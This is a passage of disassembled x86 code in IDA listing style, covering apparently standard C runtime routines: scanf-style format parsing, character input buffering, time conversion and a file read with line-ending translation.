mov [ebp+var_16], 1
loc_41B1D6: ; CODE XREF: sub_41AD1D+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_41B28D
mov eax, edi
lea edi, [eax+1]
jmp loc_41B289
; ---------------------------------------------------------------------------
loc_41B1F0: ; CODE XREF: sub_41AD1D+24Fj
cmp ebx, 2Bh
jnz short loc_41B217
loc_41B1F5: ; CODE XREF: sub_41AD1D+259j
dec [ebp+var_C]
jnz short loc_41B206
cmp [ebp+var_20], 0
jz short loc_41B206
mov [ebp+var_F], 1
jmp short loc_41B217
; ---------------------------------------------------------------------------
loc_41B206: ; CODE XREF: sub_41AD1D+4DBj
; sub_41AD1D+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B779
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B217: ; CODE XREF: sub_41AD1D+4D6j
; sub_41AD1D+4E7j
cmp ebx, 30h
jnz loc_41B465
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B779
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_41B265
cmp bl, 58h
jz short loc_41B265
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_41B24F
push 6Fh
loc_41B249: ; CODE XREF: sub_41AD1D+55Bj
pop esi
jmp loc_41B465
; ---------------------------------------------------------------------------
loc_41B24F: ; CODE XREF: sub_41AD1D+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B793
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_41B462
; ---------------------------------------------------------------------------
loc_41B265: ; CODE XREF: sub_41AD1D+517j
; sub_41AD1D+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B779
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_41B249
; ---------------------------------------------------------------------------
loc_41B27A: ; CODE XREF: sub_41AD1D+46Fj
cmp [ebp+var_5], 0
jle short loc_41B284
mov [ebp+var_16], 1
loc_41B284: ; CODE XREF: sub_41AD1D+561j
mov edi, offset dword_4380B8
loc_41B289: ; CODE XREF: sub_41AD1D+45Cj
; sub_41AD1D+4CEj
or [ebp+var_18], 0FFh
loc_41B28D: ; CODE XREF: sub_41AD1D+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_415550
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_41B2B1
cmp byte ptr [edi], 5Dh
jnz short loc_41B2B1
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_41B2B4
; ---------------------------------------------------------------------------
loc_41B2B1: ; CODE XREF: sub_41AD1D+584j
; sub_41AD1D+589j
mov dl, [ebp+var_35]
loc_41B2B4: ; CODE XREF: sub_41AD1D+592j
; sub_41AD1D+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_41B319
inc edi
cmp al, 2Dh
jnz short loc_41B300
test dl, dl
jz short loc_41B300
mov cl, [edi]
cmp cl, 5Dh
jz short loc_41B300
inc edi
cmp dl, cl
jnb short loc_41B2D3
mov al, cl
jmp short loc_41B2D7
; ---------------------------------------------------------------------------
loc_41B2D3: ; CODE XREF: sub_41AD1D+5B0j
mov al, dl
mov dl, cl
loc_41B2D7: ; CODE XREF: sub_41AD1D+5B4j
cmp dl, al
ja short loc_41B2FC
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_41B2E4: ; CODE XREF: sub_41AD1D+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_41B2E4
loc_41B2FC: ; CODE XREF: sub_41AD1D+5BCj
xor dl, dl
jmp short loc_41B2B4
; ---------------------------------------------------------------------------
loc_41B300: ; CODE XREF: sub_41AD1D+5A0j
; sub_41AD1D+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_41B2B4
; ---------------------------------------------------------------------------
loc_41B319: ; CODE XREF: sub_41AD1D+59Bj
cmp byte ptr [edi], 0
jz loc_41B723
cmp [ebp+var_3C], 7Bh
jnz short loc_41B32B
mov [ebp+arg_4], edi
loc_41B32B: ; CODE XREF: sub_41AD1D+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_41B793
pop ecx
pop ecx
loc_41B342: ; CODE XREF: sub_41AD1D+6BCj
; sub_41AD1D+6C4j
cmp [ebp+var_20], 0
jz short loc_41B356
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_41B3F2
loc_41B356: ; CODE XREF: sub_41AD1D+629j
inc [ebp+var_4]
push edi
call sub_41B779
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_41B3E6
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_41B3E6
cmp [ebp+var_E], 0
jnz short loc_41B3DE
cmp [ebp+var_16], 0
jz short loc_41B3D3
mov ecx, ds:off_437D50
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41B3B2
inc [ebp+var_4]
push edi
call sub_41B779
pop ecx
mov [ebp+var_37], al
loc_41B3B2: ; CODE XREF: sub_41AD1D+686j
push ds:dword_437F5C
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_41DFAD
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_41B3D6
; ---------------------------------------------------------------------------
loc_41B3D3: ; CODE XREF: sub_41AD1D+673j
mov [esi], al
inc esi
loc_41B3D6: ; CODE XREF: sub_41AD1D+6B4j
mov [ebp+var_2C], esi
jmp loc_41B342
; ---------------------------------------------------------------------------
loc_41B3DE: ; CODE XREF: sub_41AD1D+66Dj
inc [ebp+var_30]
jmp loc_41B342
; ---------------------------------------------------------------------------
loc_41B3E6: ; CODE XREF: sub_41AD1D+649j
; sub_41AD1D+667j
dec [ebp+var_4]
push edi
push eax
call sub_41B793
pop ecx
pop ecx
loc_41B3F2: ; CODE XREF: sub_41AD1D+633j
cmp [ebp+var_30], esi
jz loc_41B723
cmp [ebp+var_E], 0
jnz loc_41B684
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_41B684
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_41B424
and word ptr [eax], 0
jmp loc_41B684
; ---------------------------------------------------------------------------
loc_41B424: ; CODE XREF: sub_41AD1D+6FCj
and byte ptr [eax], 0
jmp loc_41B684
; ---------------------------------------------------------------------------
loc_41B42C: ; CODE XREF: sub_41AD1D+466j
mov [ebp+var_D], 1
loc_41B430: ; CODE XREF: sub_41AD1D+203j
; sub_41AD1D+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_41B43E
mov [ebp+var_17], 1
jmp short loc_41B443
; ---------------------------------------------------------------------------
loc_41B43E: ; CODE XREF: sub_41AD1D+719j
cmp ebx, 2Bh
jnz short loc_41B465
loc_41B443: ; CODE XREF: sub_41AD1D+71Fj
dec [ebp+var_C]
jnz short loc_41B454
cmp [ebp+var_20], 0
jz short loc_41B454
mov [ebp+var_F], 1
jmp short loc_41B465
; ---------------------------------------------------------------------------
loc_41B454: ; CODE XREF: sub_41AD1D+729j
; sub_41AD1D+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B779
pop ecx
mov ebx, eax
loc_41B462: ; CODE XREF: sub_41AD1D+543j
mov [ebp+var_14], ebx
loc_41B465: ; CODE XREF: sub_41AD1D+4FDj
; sub_41AD1D+52Dj ...
cmp [ebp+var_30], 0
jz loc_41B57E
cmp [ebp+var_F], 0
jnz loc_41B55C
loc_41B479: ; CODE XREF: sub_41AD1D+82Cj
cmp esi, 78h
jnz short loc_41B4CD
cmp ds:dword_437F5C, 1
jle short loc_41B496
push 80h
push ebx
call sub_418536
pop ecx
pop ecx
jmp short loc_41B4A3
; ---------------------------------------------------------------------------
loc_41B496: ; CODE XREF: sub_41AD1D+768j
mov eax, ds:off_437D50
mov al, [eax+ebx*2]
and eax, 80h
loc_41B4A3: ; CODE XREF: sub_41AD1D+777j
test eax, eax
jz loc_41B54E
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_41E0A0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_41B742
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B520
; ---------------------------------------------------------------------------
loc_41B4CD: ; CODE XREF: sub_41AD1D+75Fj
cmp ds:dword_437F5C, 1
jle short loc_41B4E2
push 4
push ebx
call sub_418536
pop ecx
pop ecx
jmp short loc_41B4ED
; ---------------------------------------------------------------------------
loc_41B4E2: ; CODE XREF: sub_41AD1D+7B7j
mov eax, ds:off_437D50
mov al, [eax+ebx*2]
and eax, 4
loc_41B4ED: ; CODE XREF: sub_41AD1D+7C3j
test eax, eax
jz short loc_41B54E
cmp esi, 6Fh
jnz short loc_41B50B
cmp ebx, 38h
jge short loc_41B54E
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_41E0A0
jmp short loc_41B51A
; ---------------------------------------------------------------------------
loc_41B50B: ; CODE XREF: sub_41AD1D+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_415980
loc_41B51A: ; CODE XREF: sub_41AD1D+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_41B520: ; CODE XREF: sub_41AD1D+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_41B538
dec [ebp+var_C]
jz short loc_41B55C
loc_41B538: ; CODE XREF: sub_41AD1D+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B779
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41B479
; ---------------------------------------------------------------------------
loc_41B54E: ; CODE XREF: sub_41AD1D+788j
; sub_41AD1D+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B793
pop ecx
pop ecx
loc_41B55C: ; CODE XREF: sub_41AD1D+756j
; sub_41AD1D+819j
cmp [ebp+var_17], 0
jz loc_41B642
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_41B642
; ---------------------------------------------------------------------------
loc_41B57E: ; CODE XREF: sub_41AD1D+74Cj
cmp [ebp+var_F], 0
jnz loc_41B63A
loc_41B588: ; CODE XREF: sub_41AD1D+90Aj
cmp esi, 78h
jz short loc_41B5CC
cmp esi, 70h
jz short loc_41B5CC
cmp ds:dword_437F5C, 1
jle short loc_41B5A7
push 4
push ebx
call sub_418536
pop ecx
pop ecx
jmp short loc_41B5B2
; ---------------------------------------------------------------------------
loc_41B5A7: ; CODE XREF: sub_41AD1D+87Cj
mov eax, ds:off_437D50
mov al, [eax+ebx*2]
and eax, 4
loc_41B5B2: ; CODE XREF: sub_41AD1D+888j
test eax, eax
jz short loc_41B62C
cmp esi, 6Fh
jnz short loc_41B5C5
cmp ebx, 38h
jge short loc_41B62C
shl edi, 3
jmp short loc_41B604
; ---------------------------------------------------------------------------
loc_41B5C5: ; CODE XREF: sub_41AD1D+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_41B604
; ---------------------------------------------------------------------------
loc_41B5CC: ; CODE XREF: sub_41AD1D+86Ej
; sub_41AD1D+873j
cmp ds:dword_437F5C, 1
jle short loc_41B5E4
push 80h
push ebx
call sub_418536
pop ecx
pop ecx
jmp short loc_41B5F1
; ---------------------------------------------------------------------------
loc_41B5E4: ; CODE XREF: sub_41AD1D+8B6j
mov eax, ds:off_437D50
mov al, [eax+ebx*2]
and eax, 80h
loc_41B5F1: ; CODE XREF: sub_41AD1D+8C5j
test eax, eax
jz short loc_41B62C
push ebx
shl edi, 4
call sub_41B742
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B604: ; CODE XREF: sub_41AD1D+8A6j
; sub_41AD1D+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_41B616
dec [ebp+var_C]
jz short loc_41B63A
loc_41B616: ; CODE XREF: sub_41AD1D+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B779
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41B588
; ---------------------------------------------------------------------------
loc_41B62C: ; CODE XREF: sub_41AD1D+897j
; sub_41AD1D+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B793
pop ecx
pop ecx
loc_41B63A: ; CODE XREF: sub_41AD1D+865j
; sub_41AD1D+8F7j
cmp [ebp+var_17], 0
jz short loc_41B642
neg edi
loc_41B642: ; CODE XREF: sub_41AD1D+843j
; sub_41AD1D+85Cj ...
cmp esi, 46h
jnz short loc_41B64B
and [ebp+var_1C], 0
loc_41B64B: ; CODE XREF: sub_41AD1D+928j
cmp [ebp+var_1C], 0
jz loc_41B723
cmp [ebp+var_E], 0
jnz short loc_41B684
inc [ebp+var_34]
loc_41B65E: ; CODE XREF: sub_41AD1D+23Bj
cmp [ebp+var_30], 0
jz short loc_41B674
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_41B684
; ---------------------------------------------------------------------------
loc_41B674: ; CODE XREF: sub_41AD1D+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_41B681
mov [eax], edi
jmp short loc_41B684
; ---------------------------------------------------------------------------
loc_41B681: ; CODE XREF: sub_41AD1D+95Ej
mov [eax], di
loc_41B684: ; CODE XREF: sub_41AD1D+241j
; sub_41AD1D+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_41B6D1
; ---------------------------------------------------------------------------
loc_41B68F: ; CODE XREF: sub_41AD1D+93j
inc [ebp+var_4]
push edi
call sub_41B779
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_41B6FE
mov ecx, ds:off_437D50
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41B6D1
inc [ebp+var_4]
push edi
call sub_41B779
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_41B70C
dec [ebp+var_4]
loc_41B6D1: ; CODE XREF: sub_41AD1D+970j
; sub_41AD1D+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41B6E7
cmp byte ptr [esi], 25h
jnz short loc_41B729
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_41B729
mov esi, eax
loc_41B6E7: ; CODE XREF: sub_41AD1D+9B8j
mov al, [esi]
test al, al
jnz loc_41AD47
jmp short loc_41B723
; ---------------------------------------------------------------------------
loc_41B6F3: ; CODE XREF: sub_41AD1D+1F4j
; sub_41AD1D+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_41B703
; ---------------------------------------------------------------------------
loc_41B6FE: ; CODE XREF: sub_41AD1D+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_41B703: ; CODE XREF: sub_41AD1D+9DFj
call sub_41B793
pop ecx
pop ecx
jmp short loc_41B723
; ---------------------------------------------------------------------------
loc_41B70C: ; CODE XREF: sub_41AD1D+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_41B793
dec [ebp+var_4]
push edi
push ebx
call sub_41B793
add esp, 10h
loc_41B723: ; CODE XREF: sub_41AD1D+1Fj
; sub_41AD1D+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41B73A
loc_41B729: ; CODE XREF: sub_41AD1D+9BDj
; sub_41AD1D+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_41B73D
cmp [ebp+var_15], al
jnz short loc_41B73D
or eax, 0FFFFFFFFh
jmp short loc_41B73D
; ---------------------------------------------------------------------------
loc_41B73A: ; CODE XREF: sub_41AD1D+A0Aj
mov eax, [ebp+var_34]
loc_41B73D: ; CODE XREF: sub_41AD1D+A11j
; sub_41AD1D+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41AD1D endp
; =============== S U B R O U T I N E =======================================
sub_41B742 proc near ; CODE XREF: sub_41AD1D+7A3p
; sub_41AD1D+8DCp
arg_0 = dword ptr 4
cmp ds:dword_437F5C, 1
push esi
jle short loc_41B75C
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_418536
pop ecx
pop ecx
jmp short loc_41B76B
; ---------------------------------------------------------------------------
loc_41B75C: ; CODE XREF: sub_41B742+8j
mov esi, [esp+4+arg_0]
mov eax, ds:off_437D50
mov al, [eax+esi*2]
and eax, 4
loc_41B76B: ; CODE XREF: sub_41B742+18j
test eax, eax
jnz short loc_41B775
and esi, 0FFFFFFDFh
sub esi, 7
loc_41B775: ; CODE XREF: sub_41B742+2Bj
mov eax, esi
pop esi
retn
sub_41B742 endp
; =============== S U B R O U T I N E =======================================
sub_41B779 proc near ; CODE XREF: sub_41AD1D+1E1p
; sub_41AD1D+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_41B78B
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_41B78B: ; CODE XREF: sub_41B779+7j
push edx
call sub_41B890
pop ecx
retn
sub_41B779 endp
; =============== S U B R O U T I N E =======================================
sub_41B793 proc near ; CODE XREF: sub_41AD1D+6Bp
; sub_41AD1D+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_41B7A9
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41E0BF
pop ecx
pop ecx
locret_41B7A9: ; CODE XREF: sub_41B793+5j
retn
sub_41B793 endp
; =============== S U B R O U T I N E =======================================
sub_41B7AA proc near ; CODE XREF: sub_41AD1D+63p
; sub_41AD1D+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_41B7B0: ; CODE XREF: sub_41B7AA+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_41B779
mov edi, eax
push edi
call sub_41E075
pop ecx
test eax, eax
pop ecx
jnz short loc_41B7B0
mov eax, edi
pop edi
pop esi
retn
sub_41B7AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B7CE proc near ; CODE XREF: seg000:00416B7Dp
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41B88A
cmp ebx, 8Ah
jg loc_41B88A
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, ds:dword_4387E4[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_41B80D
cmp edi, 2
jle short loc_41B80D
inc esi
loc_41B80D: ; CODE XREF: sub_41B7CE+37j
; sub_41B7CE+3Cj
call sub_41E12D
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, ds:dword_438700
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_41B880
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_41B886
cmp ds:dword_438704, 0
jz short loc_41B886
lea eax, [ebp+var_24]
push eax
call sub_41E3A0
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_41B886
loc_41B880: ; CODE XREF: sub_41B7CE+90j
add ecx, ds:dword_438708
loc_41B886: ; CODE XREF: sub_41B7CE+96j
; sub_41B7CE+9Fj ...
mov eax, ecx
jmp short loc_41B88D
; ---------------------------------------------------------------------------
loc_41B88A: ; CODE XREF: sub_41B7CE+13j
; sub_41B7CE+1Fj
or eax, 0FFFFFFFFh
loc_41B88D: ; CODE XREF: sub_41B7CE+BAj
pop ebx
leave
retn
sub_41B7CE endp
; =============== S U B R O U T I N E =======================================
sub_41B890 proc near ; CODE XREF: sub_416B90+A9p
; sub_41711C+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41B964
test al, 40h
jnz loc_41B964
test al, 2
jz short loc_41B8B6
or al, 20h
mov [esi+0Ch], eax
jmp loc_41B964
; ---------------------------------------------------------------------------
loc_41B8B6: ; CODE XREF: sub_41B890+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41B8CA
push esi
call sub_41D04C
pop ecx
jmp short loc_41B8CF
; ---------------------------------------------------------------------------
loc_41B8CA: ; CODE XREF: sub_41B890+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41B8CF: ; CODE XREF: sub_41B890+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41B969
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41B953
cmp eax, 0FFFFFFFFh
jz short loc_41B953
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41B928
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41B911
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, ds:dword_46A7A0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41B916
; ---------------------------------------------------------------------------
loc_41B911: ; CODE XREF: sub_41B890+6Bj
mov edi, offset dword_4383B0
loc_41B916: ; CODE XREF: sub_41B890+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41B928
or dh, 20h
mov [esi+0Ch], edx
loc_41B928: ; CODE XREF: sub_41B890+62j
; sub_41B890+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41B945
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41B945
test ch, 4
jnz short loc_41B945
mov dword ptr [esi+18h], 1000h
loc_41B945: ; CODE XREF: sub_41B890+9Fj
; sub_41B890+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B953: ; CODE XREF: sub_41B890+55j
; sub_41B890+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41B964: ; CODE XREF: sub_41B890+Aj
; sub_41B890+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41B890 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B969 proc near ; CODE XREF: sub_416B90+90p
; sub_41B890+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, ds:dword_46A8A0
jnb loc_41BB46
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:46A7A0h[eax*4]
mov eax, ds:dword_46A7A0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41BB46
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41BA1E
test dl, 2
jnz short loc_41BA1E
test dl, 48h
jz short loc_41B9DE
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41B9DE
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41B9DE: ; CODE XREF: sub_41B969+56j
; sub_41B969+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call ds:dword_421068 ; ReadFile
test eax, eax
jnz short loc_41BA31
call ds:dword_421088 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41BA19
mov ds:dword_469474, 9
mov ds:dword_469478, ecx
jmp loc_41BB57
; ---------------------------------------------------------------------------
loc_41BA19: ; CODE XREF: sub_41B969+99j
cmp eax, 6Dh
jnz short loc_41BA25
loc_41BA1E: ; CODE XREF: sub_41B969+4Cj
; sub_41B969+51j
xor eax, eax
jmp loc_41BB5A
; ---------------------------------------------------------------------------
loc_41BA25: ; CODE XREF: sub_41B969+B3j
push eax
call sub_41C5B7
pop ecx
jmp loc_41BB57
; ---------------------------------------------------------------------------
loc_41BA31: ; CODE XREF: sub_41B969+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41BB41
test edx, edx
jz short loc_41BA56
cmp byte ptr [edi], 0Ah
jnz short loc_41BA56
or al, 4
jmp short loc_41BA58
; ---------------------------------------------------------------------------
loc_41BA56: ; CODE XREF: sub_41B969+E2j
; sub_41B969+E7j
and al, 0FBh
loc_41BA58: ; CODE XREF: sub_41B969+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41BB3B
loc_41BA70: ; CODE XREF: sub_41B969+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41BB2B
cmp al, 0Dh
jz short loc_41BA8C
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41BB1D
; ---------------------------------------------------------------------------
loc_41BA8C: ; CODE XREF: sub_41B969+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41BAAA
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41BAA1
add [ebp+arg_8], 2
jmp short loc_41BAFF
; ---------------------------------------------------------------------------
loc_41BAA1: ; CODE XREF: sub_41B969+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41BB1D
; ---------------------------------------------------------------------------
loc_41BAAA: ; CODE XREF: sub_41B969+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call ds:dword_421068 ; ReadFile
test eax, eax
jnz short loc_41BAD2
call ds:dword_421088 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41BB19
loc_41BAD2: ; CODE XREF: sub_41B969+15Dj
cmp [ebp+var_C], 0
jz short loc_41BB19
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41BAF4
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41BAFF
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41BB1D
; ---------------------------------------------------------------------------
loc_41BAF4: ; CODE XREF: sub_41B969+176j
cmp edi, [ebp+arg_4]
jnz short loc_41BB04
cmp [ebp+var_1], 0Ah
jnz short loc_41BB04
loc_41BAFF: ; CODE XREF: sub_41B969+136j
; sub_41B969+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41BB1C
; ---------------------------------------------------------------------------
loc_41BB04: ; CODE XREF: sub_41B969+18Ej
; sub_41B969+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_41BB5F
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41BB1D
loc_41BB19: ; CODE XREF: sub_41B969+167j
; sub_41B969+16Dj
mov byte ptr [edi], 0Dh
loc_41BB1C: ; CODE XREF: sub_41B969+199j
inc edi
loc_41BB1D: ; CODE XREF: sub_41B969+11Ej
; sub_41B969+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41BA70
jmp short loc_41BB3B
; ---------------------------------------------------------------------------
loc_41BB2B: ; CODE XREF: sub_41B969+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41BB3B
or al, 2
mov [esi], al
loc_41BB3B: ; CODE XREF: sub_41B969+101j
; sub_41B969+1C0j ...
sub edi, [ebp+arg_4]
